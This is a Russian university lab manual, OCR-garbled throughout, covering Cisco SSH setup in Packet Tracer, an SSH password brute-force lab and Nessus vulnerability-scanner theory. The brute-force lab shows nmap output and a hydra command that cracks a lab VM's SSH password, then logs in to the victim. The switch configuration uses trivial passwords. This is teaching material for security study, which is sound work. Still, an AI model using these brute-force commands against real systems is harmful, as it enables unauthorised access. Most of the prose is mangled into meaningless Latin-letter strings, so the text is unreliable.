http://pyatilistnik.org/kak-vklyuchit-telnet-v-cisco-na-primere-cisco-2960-48tc-s/

JTaHHbIE HEOOXO0IMMO UMETh 3aKPBITHIN KITI0Y, KOTOPBIA UMEETCS TOJIBKO Y OTHpaBUTeNs. B 3TOM 1 3akitouaeTcst
CyTh pabOTHI JAHHOTO AJITOPUTMA.

IIpakTH4yeckoe 3a1aHue.
Iar 1. CoOpanue npeacTaBIeHHON Ha PUCYHKE 3 CXEMBI CETH.
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Puc. 3 — Cxema cetu

Mexay HOYTOYKOM M KOMMYTaTOpOM TMOAKIIOUCHBI JBa KaOeis: MepBbIi — KOHCONBHBIN (ToiyOoit),
BTOpOil — Ethernet (uepusrit) (moapodHee cm. Jlaba 2 «Cratuka u RIP»). [lepBoHaganbHy0 HACTPOHKY OyaemM
OCYILECTBIIATh Yepe3 KOHCOJIb (KaK caeanu Obl 3TO B peaJIbHOCTH), TaK Kak s foctyna no SSH neobxoaumo
3anath [P-anpec unTepdelica, KOTOPHI B JaHHBIH MOMEHT HE 3a/laH. TyT CTOMT OTMETUTh OJUH HIoaHc. Tak
KaK KOMMYTaToOp paboTaeT Ha KaHaJdbHOM ypoBHe dTasioHHOH Mmozaenu OSI, on cMmorput Tonpko Ethernet-
3aroyioBok (KoTopelii comepxkut jumb MAC-aapec) m He 3arisasiBaeT BrilyOb IP-3aronoBka (koTopbiid
HaXOJUTCs BBIIIE U CUMTBHIBaeTCs Mapuipytuzaropom). Tot IP-agpec, koTopelil Mbl OynieM 3a7aBaTh, HUKAK HE
CBsI3aH C Nepeaveil JaHHbIX, OH Oy/IeT HY)KEH JIMIIb JJIs yIIPaBICHHUSL.

Hacrpoiika [P-anpeca koMmmyTaTopa nogo0Ha TakoBOH y KoMIbloTepa ¢ oaHUM uHTepdeiicom Ethernet.
C 3T0#1 TOUKM 3pEHUSI Y KOMIIBIOTEPA €CTh MPOLIECCOP, BHIMOIHAIOUINN ONEepallMOHHYIO CUCTEMY. Y HEro €cTh
iata cereBoro uHtepgeiica Ethernet (cereBas miata). CornacHo KOHGUIypaluy ONepaluoHHON CUCTEMBI, €
ceTeBoM IaTol cBs3aH [P-aapec, 3agaHHBIl BPYYHYHO HWIIM IIOJYYEHHBIM AMHAMUYECKH OT CepBepa
DHCP. KommyTarop uCHoib3yeT KOHLENIMH, MOJOOHBIE XOCTY, 332 HCKIIOUYEHHEM TOro, YTO OH MOXKET
UCIIOJIB30BaTh BHUPTYAIBHYIO ceTeBYyl Iuiary. Kak M y KoMIbroTepa, y KOMMYyTAaropa €CTb MPOLECCOop,
BhINoyIHsAONMH onepaunonnyto cuctemy (Cisco I0S). KommyraTop Hcnoib3yeT KOHLEHIUIO, MMO0J00HYIO
CEeTeBOil IaTe, — KOMMYTHpPYeMbId BUpTYyainbHbIN nHTEpdeiic (Swithced Virtual Interface — SVI) mm Gonee
npuBbluHO — uHTepgeiic VLAN, nelicTByromuii Kak COOCTBEHHas ceTeBas IIaTa KOMMYyTaropa i
MOAKJIIOYEHUsI K JIOKAJIbHOW ceth u mnepemade makeroB IP. I[lomoOHO XocTy, HacTpoiika KoMMyTaTtopa
noapasymeBaetr yctaHoBKy IP-aapeca s atoro unrepdeiica VLAN.

3aueM ke Hy)KE€H BUPTYalbHbIN HHTEp(Eic?

Ecin BbI Kak c€TEBOM aJMUHUCTPATOpP HACTPAUBAETE CBUTY, TO UCIIOJIB3YETE CBON KOMIIBIOTEP, KOTOPBIH
coeuHseTe KabeneM ¢ KOHCOJIbHBIM MOpToM cBUTYA. [Ipo0iema 3akitoyaeTcst B TOM, YTO Ui UCTIOIb30BaHUS
KOHCOJIX BbI IOJKHBI HAXOJIUTHCSI PSZIOM CO CBUTYEM Ha PACCTOSIHUU He OoibIie JUInHBI kabesns. [Tpeanonoxum,
YTO BBl aAMMHHUCTPATOP OOJBIION CETH U XOTUTE HACTPOUTH YCTPOUCTBO yAaleHHO. OHAKO CBUTY SIBISETCS
YCTPOHCTBOM 2-TO YPOBHS CETH, TO3TOMY Y HETo He MoxkeT ObITh IP-anpeca, u /1 Bac HET HUKAKOTO Ccrlocoba
no0patbcst 10 HEro Mo CEeTH, Tak Kak (u3nyecKuM HMHTepdelicaM CBUTYa HEBO3MOXKHO MpucBouTh [P-anpeca.
3nech ¥ npuxoauT Ha nomoltubs SVI. HyxkHo npocTto coznath BupTyainbHblil unTepdeiic 11t VLAN u npucBouTh
emy IP-anpec. Torna kKoMneroTEp CETEBOrO aIMMHUCTPATOPA CMOXKET COCIHHHUTHCS IO 3TOMY BUPTYaIbHOMY
untepdeiicy co ceutueM uepes Telnet mm SSH. Takas Bo3aMoxxHOCTB cymiecTByeT a1 VLAN no ymonauanuo.

Tunuuneiii kommytatop LAN Cisco ypoBHS 2 MOKET UCIIOJIB30BaTh TOJIbKO oAuH uHTepdeiic VLAN, Ho
Kakoll KOHKpPETHO, BbIOMpaeT CeTeBOM HH)KeHep, IepeMmelas yNpaBisomuil Tpadpuk KOMMyTaTopa Ha
crienuduaeckuit ”HTEPPEIiC.

Iar 2. Hactpolika KoMIproTepa

Jlns ynpaBieHus BCEMH yCTPOWCTBaMHU B CETH MBI OyaeM Hcnoiab30BaTh ceTh 172.16.0.0/24 u VLAN 2.
[lepen HacTpoiikoil KoMMyTaTOopa HEOOXOIUMO BpyUHYIO 3a/1aTh IP-agpec HoyTOyka, Macky CeTH U OCHOBHOM
HLTIO3.
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IP Configuration

Interface FastEthernetl

IP Configuration

() DHCP (®) Static
P4 Address [172.16.05
Subnet Mask |255.255.255.0
Default Gateway 1172.16.0.1
DNS Server [0.0.0.0

Puc. 4 — CeteBbie HacTpoiKH HOYTOYKA

Ilar 3. Hactpoiika kommyTaTopa

3.1 3axoaum ¢ HOYTOYKa Ha KOMMYTATOp 4epe3 KOHCOIb. CTaHIapTHHIE MapaMeTphl JTydllie HE MCHSTh
0e3 HaJOOHOCTH.

Physical Config Desktop Programming Attributes

—

Port Configuration

Bits Per Second: 8500 e
[kata Bits: i o
Parity: Mone o
Stop Bits: 1 -
Flow Control: Mone e

oK

Puc. 5 — Bxoa B TepMuHan 111 HACTPOMKHA KOMMYTaTopa 4epe3 KOHCOJIb
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Phy=sical Config Dezktop Programming Aftributes

Terminal

embly numb
> number:
rial number:
; serial number:
el revision number: C0O
Motherboard revision number: AQ
el number: WS
rial number: FHEO&10ZOWC

SLINE-S5-CHRNGED: Interfac

$LINEFROTO-5 DOWH: Line
changed state

Swritohs

Puc. 6 — BoinoaHeHHOE MOIKIIIOUEHHE K KOMMYTATOPY Yepe3 KOHCOIb

3.2 Coznmaém unTepdeiic VLAN 2 u 3amaém emy IP-anpec. Taxke mponuceiBaeM 1eONTHBIN MUTIO3, B

Ka4C€CTBC KOTOPOro 6yz[eT BBICTYIIATb MApIIPYTU3ATOP.
Switch(config)#int vlan 2
Switch(config-if)#ip addr 172.16.0.100 255.255.255.0
Switch(config-if)#no sh
Switch(config-if)#ex
Switch(config)#ip default-gateway 172.16.0.1

3.3 [Tocne HacTpOMKK BUPTYAIbHOTO HHTEpdeiica KoHpurypupyem puzndeckuii. I3HavamsHO BCe IOPTHI
HaxonaTcss B VLAN 1. Ham HoyTOyk nmonkimtou€H k mopty kommyraropa fastEthernet 0/1. Takum oGpasowm,

HeoOxoaumo 106aBuTh B vlan 2 nopt fastEthernet 0/1.
Switch(config)#int fa0/1
Switch(config-if)#switchport mode access
Switch(config-if)#switchport access vlan 2

3.4 Teneps Bc€ roToBO K HacTpoiike SSH.
3.4.1 Jing Havanma co3/1auM IOJIb30BaTelsA-a IMHHICTPATOPA.

Switch(config)#username net_admin privilege 1 pass cisco

rae net_admin — uMs nose3oBaress, Privilege — yposeus npuBmiiernii, CiSCO — mapoJib.

JIEU'IBHIG HYXHO HaCTpPOUTH YCTPOI\/'ICTBO Ha HCIIOJIB30BAHUC I aBTOPHU3alWM JIOKAJIBbHBIX YYCTHBIX

3aINCEN.

Switch(config)#line console 0
Switch(config-line)#login local



Line console 0 — 3t0o COM-mopT It OAKIFOYEHUSI KOHCOJIBHOTO MPOBO/A, TO €CTh MBI ITOCTABUJIH
3alIUTY UL BXOJa B HACTPOMKH KOMMYTaTOpa yepe3 KoHcoub. U Teneps OyneT TpeGoBaTbest aBTOpHU3aIUs IPpU
Ka)KIOM 3aX0JI€ Ha KOHCOJIb.

Verification

> net_admin

Puc. 7 — TpeGoBanue aBTOpU3alUU MPU BXOJIE Yepe3 KOHCOIb

3.4.2 3amuTuM emé nMpUBHICTHPOBAHHBIA pekuM naposieM. B manHoM ciydae mapois pass. [loHsTHo,
YTO Ha peajbHOM 000pYAOBAHNUHU NAPOJIH JOJIKHBI OBITH CIIOKHEE.

Switch(config)#enable secret pass

3.4.3 [lepexoaumM B HACTpOMKHU BUPTyalbHbIX ceccuil. OcHaienue Cisco MoaepKuBaeT Kak MUHUMYM
16 onqHOBpeMeHHBIX OAKITIOUeHMI VEy (Virtual teletype o3Hayaer BupTyasbHbIH TEPMUHAT, 00CCIICUMBAIOIIHI
yJAJIEHHBIA JOCTYN K YCTpOMCTBY). s TOro, 4roObl co37aTh BO3MOKHOCTh YIAJIEHHOTO MOJAKIIOYECHUS, U3
pexuMa 1y100aJbHOM KOH(UIypaly HY>)KHO BOWTH B PEXUM KOHQUrypauuu uHTEepdeiica vty ¢ NOMOUIbIO
koMmaH[bl line vty 0-15, rne 0-15 yka3piBaroT AMana3oH 3HAYEHUH, KOTOpPbIE HA3HAYAIOT Ka)KAOMY aKTUBHBIN
ceanc — ot 0-15.

Switch(config)#line vty 0 4
Switch(config-line)#login local

3,H6CL CHOBAa YKa3bIBA€M Had aBTOpU3alUI0 Y€PEC3 JIOKAJIBHBIC y‘IéTHLIe 3aIIlMCH.

3.4.4 Bxmouaem SSH s Bxonsmiero Tpaduka U HaCTpauBaeM €ro — Ui 3TOro 00s3aTeIbHO HYKHO
yKa3aTh UMsI KOMMYTaTOpa, TOMEHHOE UMsI ¥ CTEHEPUPOBATh KIIF0U MU(PPOBAHHUS.

Switch(config-line)#transport input ssh

[Tpu Ge3nesTeNIbHOCTH OTKIII0YaeM OT KOHcouH yepes 60 cek.
Switch(config-line)#exec-timeout 0 60

Y6HpaeM BCIIJIBIBAOIIIMEC COO6L[I€HI/I$I-YB6I[OMJ'I6HI/I}I.
Switch(config-line)#logging synchronous

Hactpoum nmst kommyTaTopa, oTiIIngHoe oT AedonatHoro Switch.
Switch(config)#hostname SW1

VYka3pIBaeM TOMEHHOE UMSL.
SW1(config)#ip domain-name Switch

['enepupyem kimoun. KommyTaTtop npeuioskuT BeIOpaTh [UIMHY KITH04a — 10 YMOJIYaHUIO 3HAUEeHUE
cTOUT paBHBIM 512 Outam, ais SSH Bepcun 2 MUHUMaIbHAS [UTMHA cOCTaBIsieT 768 Out. ['eHeparwst Kirtoya

3aliMET HEKOTOPOE BPEMSI.

SW1(config)#crypto key generate rsa



SW1l {config) fcrypto key generate rsa
The name for the keys will bke: SW1l.S5witch
Choose the size of the key modulus in the ran

}f O
neral Purpose Eeys.

Choosing a key modulus

tak

a few minutes.

How many bkits in the
% Generating : bit

yrtable . . . [QE]

Puc. 8 — ['enepanus kiaroua

U tonpko mociie Bcex BhIMICYKa3aHHBIX HACTPOEK BKItOUaeM nmpotokosn SSH 2 Bepcum.

SW1(config)#ip ssh version 2

SWl (config) #ip ssh w
*Mar 1 0:53:45 :

Puc. 9 — Jlor kommyTaropa ¢ 1aHHBIMH O padoTaroieM nporokoie SSH

Hlar 4. [IpoBepka paboTOCTIOCOOHOCTH.
4.1 BpIXoauM M3 KOHCOJH, yIAJIIeM COEIWHEHHE MO KOHCOJIBHOMY MPOBOAY M 3aXOJHM B 3MYJISATOP

KoMaHiHo cTpoku Command promt. 1 tam nponuceiBaeM KOMaHy ISl COSTUHEHUS] ¢ KOMMYTaTOPOM:

SWi1#ssh -l net_admin 172.16.0.100
rae “-1” - 3to anrnumiickas L, a He enquHuULA.

* Laptop0

Phy=ical Config Desktop Programming Aftributes
|

Command Prompt

et Tracer PC Command Line 1.0
h -1 net _admin 172.1€.0.100

Password:

Puc. 10 — Y ganénnoe nogkiro4eHue K KOMMYTaTopy

4.2 TTocMOTpUM CTEeHEPUPOBAHHBIEC KITIOUH

SW1#sh crypto key mypubkey rsa



SWlgsh crypto key mypubkey r:
% Fey pair was generated at:

it

I e

Puc. 11 — CrenepupoBaHHbIEC KIIOUU
Kak Buaum, co3aana napa KIto4eil ¢ MMeHeM, BKJIIOYAIOIIeM U UMs YKa3aHHOTO HaMU JIOMEHa.

4.3 Emé oqHa moJie3Has KOMaH/1a, TTOKa3bIBarOIIas TEKyIIue ssh coeTMHEeHHMS.

SW1#sh ssh

SWlgsh ssh
nnection Version Mode E

hmac-shal
Jala hmac-shal
running.

Puc. 12 — Iloxa3 texymux SSH ceccuii

Ilar S. [lanee HaCTpOUM AOCTYI K MapIIpyTU3aTopy. MapipyTu3arop MOAKIIOUYEH He HAapsAMYO. [[is
J0CTyNa K HeMy HE00X0AUMO, 4TOObI KOMMYyTaTOp npomyckai vlan 2 yepes nopt fastEthernet 0/2.

5.1 Hactpoum nopt fastEthernet 0/2 kak TpaHKOBBIH (TErHpoBaHHBIN) U J006aBUM vian 2.

SW1(config-if)#switchport mode trunk
SW1(config-if)#switchport trunk allowed vlan 2

5.2 IlepBoHauaIbHYIO HACTPOMKY MapIIpyTHU3aTOpa OCYLIECTBISIEM TaKXKe Yepe3 KOHCOJIb.

Fal Fals Fali2 Fal/0 n,__ =
Fd ? e
L aptop.FT 29507-24 2811
Laptop0 Switcht Routerl

Puc. 13 — IToakmtoueHne o KOHCOIbHOMY TPOBOAY K MapUIPyTH3ATOPY

5.3 3axoaum B Hactpoiiku mopra fastEthernet0/0, Bxkimrounm ero. M, coOCTBEHHO, 3TO BCE HACTPONKH
¢usuueckoro uHTEpdeiica. Beixonum u3 ero Hactpoek, 3axoauMm B noauHTepgeiic fastEthernet0/0.2, emy
3agaém [P-agpec 172.16.0.1 ¢ mackoii B 24 6uta 1 3a1aéM HHKANCYISUIO A TerupoBanust VLAN 2.

5.4 OcranbHbple HACTPOWKH MapIIpyTH3aTopa aOCOJIIOTHO aHAJOTHYHBI TOMY, KaK HacTpauBalv

kommyTarop. [loaTroMy moBTopuTe MOANYHKTHI 3.4, TOJIBKO B MMEHU JOMEHa M Ha3BaHUS MapLIpyTH3aTopa
ucnone3yiite Router u R1 cooTBeTCTBEHHO.

5.5 AHajOrn4HO MOJKIIOYCHHE K KOMMYTAaToOpy, IPOBEPHTE BOSMOKHOCTH MOJKIIOUCHHE K POYTEpY H
nocMotpure Tabmuiy SSH ceccuii.



R1#ssh -l net_admin 172.16.0.1
R1#sh ssh

KouTtpoJbHble BOpOCHI.

Uto Takoe npotokoa SSH? 3auem oH HYkeH?

Uro Takoe Telnet? B uém ornmuane ot SSH?

Kaxk mpoucxoaut ayrentudukanus?

Pacckaxure kpaTko 06 anropurme RSA.

Uto takoe SVI? Kak on HactpauBaercs?

Kaxkoit koman10i1 co3/1a€Tcst HOBBIN MOJIB30BATENb BMECTE C Maposiem?
Kak nocraBuTh naposib Ha BXOJ] B HACTPOUKH Yepe3 KOHCOJIb?
Kak nocraBuTh napoiib Ha IPUBUIETMPOBAHHBIN PEXKUM?

. Pacckaxute o VTY.

10. PacckaxkuTe momaroBo HacTpouky ssh.

11. Yro BeIBeneT nanHas komanaa ssh -1 net_admin 172.16.0.100?
12. Yro BeiBeneT komana sh crypto key mypubkey rsa?

13. Kakas xomaHjaa nmokaxer Tekymue ssh coenuuenus?

CoNoA~WNE

JlaboparopHas noBsiIeHHOU cioxHOCTH Ne 9.3. Ataka MeTonoM nepedopa mapoiis Ha ciy:xk0y SSH

Llens pabotsr: [ToayunTh CBEACHHS O TOM, KaK OCYIIECTBISETCS METOI epeGopa
napoJst (bruteforce). Hayuurbcs mons3oBatsest yruuramu hydra u Nmap.
[Moxroroska k pabore:

1) 3amycTuts 1BE BUPTyanbHBIE MAIIMHEL, KOTOPbIE GYIyT BBITIOMHSATE CIIEAYIO- IIHE (yHKIIHH:
- ATtakyrouuii cepsep.
- Atakyemslii cepsep.
2) Yrumuroit Nmap y3HaTth Heo6XOIUMBIE TAPAMETPHI I OCYIECTBICHHUS ATAKH.
IIpumep Takoil HACTPOMKH MPEACTABIEH B IPHWIOKEHUU B.

3) C nomomsto yruute! hydra ocymiecTButs ataky MeTomoM epedopa maposns. [Ipumep Takoii
HaCTPOWKH IPEICTABIICH B IPUJIOKEHNUHN B.
3agauun, KOTOpble HEOOXOIUMO BBIIOJIHUTH B paMKax pabOThI:

1) C nomomsio Nmap mpockaHupoBaTh aTaKyeMblii cepBep U OTPENeUTh OTKPHI- ThIH MOPT.
2) HaiiTy 1 IpaBUIBHO IPHMEHUTH TaOIHITb TAPOIEH U TOTHHOB.

3) IIpoBepuTh KOPPEKTHOCTH MOTYYEHHBIX JAHHBIX.
[To okoHuaHMM pabOTHI CTYAEHTHI Hay4aTcs padoTaTh ¢ yTuiuToi Nmap, ocBOsIT CHHTaKCHC
xkoMan 1 yrriuThl hydra. [To3HaKOMSATCS ¢ MPaKTHYECKOM YaCThIO pean3a- U1 aTaKh METOI0M
nepebopa napoeil.



[MPUJIOXEHUME B
BrimotaeHune 1abopatopHoii padoThl 3. ATaka METOI0M miepedopa maposist Ha cinyx0y SSH

1) samyckaem BUpTYyaJIbHbIE MANIMHEL, KOTOpBIE GyIyT paboTaTh B KaUeCTBe:
- AtakyeMmblii cepBep.
- Artakyrouuit cepsep.

2) C nomorsto Nmap ckaHupyeM aTakyeMblii cepBep Ha HaIU4YHe OTKPBITHIX HOP- TOB U
3aIlyIIEHHBIX CITYX0.

Nmap scan report for 10.0.2.4

Host is up (0.0011ls latency).

Not shown: 65495 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

22/tcp open OpenSSH 7.1 (protocol 2.0)

80/tcp open Microsoft IIS httpd 7.5
open Microsoft Windows RPC

Nmap scan report for 10.0.2.4
Host is up (0.0011ls latencyj.
Not showri: 65495 closad poris
ORT CTATE WICE VERZTON
i 3 Microsoft ftpd

DzerSSH 7.1 {protocol 2.0)
Microsoft IIS httpd 7.5
Microsoft Windows RPC

:~# hydra -1 vagrant -P /root/passwords.txt ssh://10.0.2.4
ydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal
purposes.

ydra (http://www.thc.org/thc-hydra) starting at 2017-06-03 05:47:34

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 502 login tries (1:1/p:502), ~0 tries per task

[DATA] attacking service ssh on port 22

[22] [ssh] host: 10.0.2.4 login: vagrant password: vagrant

1 of 1 target successfully completed, 1 valid password found

ydra (http://www.thc.org/thc-hydra) finished at 2017-06-03 05:47:36

Pucynoxk B.2. Ataka metogom nepedopa maposieit



OxoHuaHue npuiiokeHus B

4) C uenbto mpoBEpUTH MOTyUYEHHBIE TAHHBIE, MTOJIKITI0YaeMCs Yepe3 KOHCOJIb I10
poTokoiry SSH Ha atakyemblii KOMIIBIOTEP H MIPOBEPsieM KOHPUTYPALIUIO:

:~# ssh vagrant@l®.0.2.4
vagrant@l0.0.2.4's password:
Last login: Fri Jun 2 17:51:37 2017 from 10.0.2.11
-sh-4.3% ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . - TeB0::f175:31c4:f53d:273a%13

Autoconfiguration IPv4 Address. . : 169.254.39.58
Subnet: Mask « i B maESE or o  22D . dan Lo
Default Gateway .

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : test.local

Link-local IPv6 Address . . . . . : fe80::a510:6b18:3213:40d3%11
IPv4 Address. . ki i v o e v e LORR2 4

SUbNet MBSk « ol B e e o ol o 20D D 2D
DafaultiGataway: | o on s L2 o

Pucynok B.3. Ilogkmrodyenue mo nporokory SSH

Kak MbI BUIMM, 110100paB MapoJib ¢ MOMOIIBI0 YTHIMTHI Nydra Mbl HAIILTH Ma- POJIb
OT aTaKyeMOro cepBepa, 3aTeM Mbl OJKIIOYMUINCH IO TpoTokosy SSH Ha Hero. B
pe3ybpTaTe Mbl YAAJIEHHO TOAKIIOYMINCH Ha CEPBEP KEPTBY.
Bormpocstr:
1. Kak peanuzyetcst aTaka METOJ0M riepebopa napoJis Ha cepBuc SSH?
2. Kakue cpeacTBa UCTIONB3YIOTCS JUIsl aBTOMaTU3alUK riepedopa naposei mo SSH?
3. Kak MOXHO 3alIUTHTBCS OT aTak METOJIOM Iepedopa mapodis?
4. Kakue HacTpOWKH O€30MaCHOCTH MO3BOJISIOT CHU3UTH PUCK aTak Ha cepBuc SSH?
5. Kak BbIBUTH akT aTaku METOAOM Iiepebopa maposisd B xKypHayiax coobiTuii cepsuca SSH?

OO6pazern 3a1aHul 1715 BBIOJIHEHUS 1a00PaTOPHBIX pabOT U MPUMEPHBIH MepeueHb BOIPOCOB IS
UX 3alllUTHI
«JIaboparopnas padota Ne 10. CpencrBa aHanm3a 3alIUIICHHOCTA BHIYUCIUTEIBHBIX CETEH HA
pUMepe U3y4eHHsI BO3MOXKHOCTEH ckaHepa 3auuieHHocTH NessUS; — ataka Ha cepBep 0a3
JAHHBIX; — aTaKa Ha cepBep npuioxenus tomcat mox ympasnearnem OC Windowsy

Jlaboparopnas padota Nel0.1
CKAHEPBI YSI3BUMOCTEM. NESSUS

Llenv pabomul: 03HAKOMUTHCS C TUMWYHBIMU YS3BUMOCTSMHU TPUKIIATHOTO YPOBHS; M3yYUTh
YHUBEPCAITBHBIM CKaHEp Ysa3BUMOCTeH Nessus — OecriaTHBI CO- BPEMEHHBINM CKaHep



0€30I1aCHOCTH JIOKAJIbHBIX U YIaJIEHHBIX CUCTEM.
KPATKHE TEOPETUYECKHUE CBEJAEHUSA

Urto yarie Bcero aenaet cucteMy ys3BuMmont? [lpunoxxenus. B3risiHyB Ha 3Ta- JOHHYIO MOJIEIb
OSI, Bbl yBUIUTE, UYTO YPOBEHb MNPUIIOKEHHI HAXOJMUTCS HAa BEp- IIMHE CTEKA CETEBBIX
KOMMYHHKAIIUI, 4TO J€JaeT ero caMbIM CIOKHBIM M M3MEHYH- BbIM. CKaHephl YS3BHUMOCTEH
MO3BOJISIIOT TMPOBEPUTH PA3JIMYHBIE MPWIOKEHUS B CHU- CTEME Ha MPEeAMET HalIu4uus AbIp,
KOTOPBIMHU MOTYT BOCIIOJIb30BaThHCA.

CooTBeTCTBHE OCHOBHBIX IMPOTOKOJIOB U ypoBHel Moaenu OSI npeacrasieHo B Tad. 4.1.
Tabnuna 4.1

CooTBeTcTBHE OCHOBHBIX MPOTOKOJIOB U ypoBHel Mozenu OSl|

Yposenb moaesn OS|I  [Ha3Banue ypoBHs IlpuMepbI MPOTOKOJI0OB

YpoeHs 7 [ IpukagHO# YPOBEHD DNS, FTP, HTTP, SMTP, SNMP, Telnet

YposeHs 6 Yposens npencrasnenust  [XDR

YpoBeHb 5 YpoBeHb ceanca RPC

YpoBens 4 Tpancnoptusiii ypoens  |NetBIOS, TCP, UDP

YpoBeHb 3 CeTeBoil ypOBEHb ARP, IP, IPX, OSPF

YpoBeHb 2 KaHaJbHBII yPOBEHb Arcnet, Ethernet, Token ring

Yposens 1 DU3NYECKHUI YPOBEHD KoakcualbHEIl Kabellb, OINTOBOJIOKHO, BHU-
Tas mapa

BoisiBi1ieHne AbIP B 0€30MACHOCTH BAILIUX CUCTEM

HeoOxoquMo TOMHUTH, YTO KOMIIbIOTEpHAsi O€30MacHOCTh CPOJHU JPYTUM  BHAAM
6e3onacHocTi. CpeaHui KOMMBIOTEPHBIM HAPYIIUTENh MPEANOYUTAET LETU IMOJOCTYIHEE U
nonpome. Hamo omacatbes psAOOBBIX KOMIBIOTEPHBIX MPECTYMHUKOB, aBTOMATUYECKUX
«4epBei» ¥ BUPYCOB. 3a71adya COCTOUT B TOM, YTOOBI B BaIllel CETH OBLIO MEHBIIE JBIP, YEM Y
coceqa, YToObI Xakepbl 00OIILITH BaC CTOPOHOM MPH BBIOO- pe LENH ISl B3JI0Ma.

B AeicTBUTENTLHOCTH TOJNBKO OYEHb HEOOJBIIONW TPOIEHT KOMIBIOTEPHBIX MPECTYITHUKOB
HCCJIEAYIOT U pa3pabaThIBalOT COOCTBEHHBIE METOIbI aTaK. BOJIBITMHCTBO XaKepOB ACHCTBYIOT C
MOMOII[HIO OMYOJIMKOBAHHBIX M H3BECTHBIX JBIP B 0€30MACHOCTH U CPEICTB, TOKA3bIBAIOIINX, KaK
MIPOHUKHYTH B Ballld KOMIbIOTEPHI. [10100HYI0 HHGOpMAIIIIO MOXKHO HANTH HAa OECUNCIEHHBIX
BeO-caiiTax, a XakepCKHe HHCTPY- MEHTHI, UCIIONB3YIONIUE 3TU JIPBI, JOCTYIIHBI 715 3aTPY3KH.
Bce ocHoBHble cOoum B pabore MHTepHeTa, BbI3BaHHbIE KOMIIbIOTEPHBIMU
MPECTYIUIEHUSIMH, BO3HUKAIM B PE3yJIbTaTe HUCIOJIb30BaHUS JbIp B 0O€30MacCHOCTH,
M3BECTHBIX 32 HEKOTOPOE BpeMs /10 UHIUAeHTa. OOBIYHO SMIHAEMHUS PACTIPOCTPAHSIETCS

yepe3 MeCsSLbl WM JaXKe TOoJbl MOCIE TOTr0, KaK CTAHOBUTCS M3BECTHA JIEKAIllas B €€

ocHoBe ys3BuMocCTh. [Ipu namectBuu Code Red B 2001 r. ncmonbs3oBasiach ysi3BU-

MOCTb, KOPPEKTHUPYIOIIAs 3arjiaTa Juist KOTOpoil Obliia 1oCTyIHa O6osiee roja; To XKe ¢

«uepBem» Nimda. «Hepsb» SQL Slammer, arakoBaBmuii 6a3bl JanHbix SQL B dheB- pane 2003 T.,
JIEMCTBOBAJI CIYCTsI MOJT0/a MOCJIE BBITYCKa MPOrpaMMHOM KOppek- 1uu. DakT cocTouT B TOM,
YTO B OOJIBIIMHCTBE BTOPKEHHH B KOMITBIOTEPHI MCIIOJb- 3yIOT XOPOIIO MU3BECTHBIE METOABI U
YSA3BUMOCTH, JUIsl KOTOPBIX JOCTYIHBI 3aIUIaThl WM 3allUTHBIE pelIeHHs. Tak Ha3bIBaeMoe
MTHOBEHHOE HCIIOJIb30BaHUE YSI3BHUMO- CTEH M HEOMyOJMKOBAHHBIX JIbIp B 0€30MacHOCTH —
OTHOCHUTEJIbHAS PEKOCTb.

[Touemy nrou IpeHEOpEraroT MPOCTHIMU BEIIAMU M HE 33/I€TTBIBAIOT JBIPHI B 0€30IMaCHOCTH CBOUX
cuctemM? Ecmu Obl OHHM 9TO JAenanu, TO ObUIO Obl 3HAYUTENHFHO MEHBIIE KOMIBIOTEPHBIX
npectymieHnii. OJHAKO MHOXKECTBO CHCTEM C MHOXECTBOM YSI3BUMOCTEH MPOJIOIHKAET
CyILIECTBOBATh MO THICSYE MPUUNH, HATPUMED:

HexBaTtka BpeMeHu Wi nepconasia. Opranu3aiiy COKpaIaT pacXxo/ibl U B TPYJIHbIE BpEMEHa
VBOJBHSIOT TEXHUYECKWid mnepcoHan (uHpopmarmonneie TexHo- joruu (MT) He mnpuHOCAT
npuObLIN).

Onacenynsi B OTHOIIEHUHM CTAOMJIBHOCTH CHCTEMbI. XOpPOIIO H3BECTHO, YTO MPOU3BOJUTENH
CHCTEM TpHU BBITYCKE 3aljlaT MOPOW HCIPABIAIOT OJHY BEIlb M TOp- TAT ABe npyrue. Jis



KPUTHYECKH Ba)XHBIX CHUCTEM 3aTpaThl BPEMEHU M PECYPCOB I HaAJEXKalllero TeCTUPOBAHUSA
IPOTPAMMHBIX KOPPEKIUI 3a4aCTyIO MPEBBIMAIOT BbI- TOJ(bI OT OOHOBIICHHS.

CAMIIKOM MHOTO 3amJ1aT, 4To0bl ¢ HUMH ynpaBuThes. [Toamucunkn Windows Update cepBuca
Koppekuii Microsoft kak MUHMMYM pa3 B HEAEIIO MOJY- YalOT YBEAOMIIEHHE O HEOOXOIUMOCTH
OOHOBUTH WJIH «3aJIaTaThy cucTeMy. J1Jis 3a- HATBIX CUCTEMHBIX a[IMUHUCTPATOPOB 3TO MOXKET OBITH
CJIMIIKOM OOJIBIION HArpy3- KOW B JIOTIOJTHEHUE K UX OOBIYHBIM 00S3aHHOCTSIM.

HeBe:xxectBo. CucremMHble aIMUHUCTPATOPbl MHOTHMX OpraHM3allii NPOCTO HE 3HAIOT O
CYIIECTBOBAaHMU MPOOJIEeMbl U HAJMYUU 3aruiaTel. Ternepb Mpu aBTOMAaTH- YeCKOM OOHOBIIEHHH OT
Microsoft 3ta mpob6siema aisa cucrem Windows crajia MeHee OCTPOi, HO OHa OCTAETCs aKTyaIbHOM
JUTSL IPYTUX MPOU3BOJUTENEH U MEHEee U3BECT- HOTO MMPOrPaAMMHOT0 00ECIIeUeHUSI.

Eme omuH MomeHT, oOierdarouiuii KU3Hb XaKepam, COCTOMT B TOM, YTO OOBIYHO HMeEeTcs
HECKOJIbKO pa3jM4YHbIX IMyTed NMPOHUKHOBEHHUS B cucreMy. Ha camom pene ans MHO)KecTBa
BBITOJIHSAEMBIX CEPBUCOB MOKET CYLIECTBOBATh JACCATOK MM OOJbIIE MOTEHIIMAIBHBIX OKOH JUIS
BXOJla B mojkItoueHHbI Kk HTepHery cepBep. Ecnu ara- ka ogHoro tuma He paboTaer, Bcernaa
MOXHO TomnpoboBaTh Apyryro. Jlamee OyayT omucaHbl HEKOTOPHIE BO3MOXHBIE CHOCOOBI, C
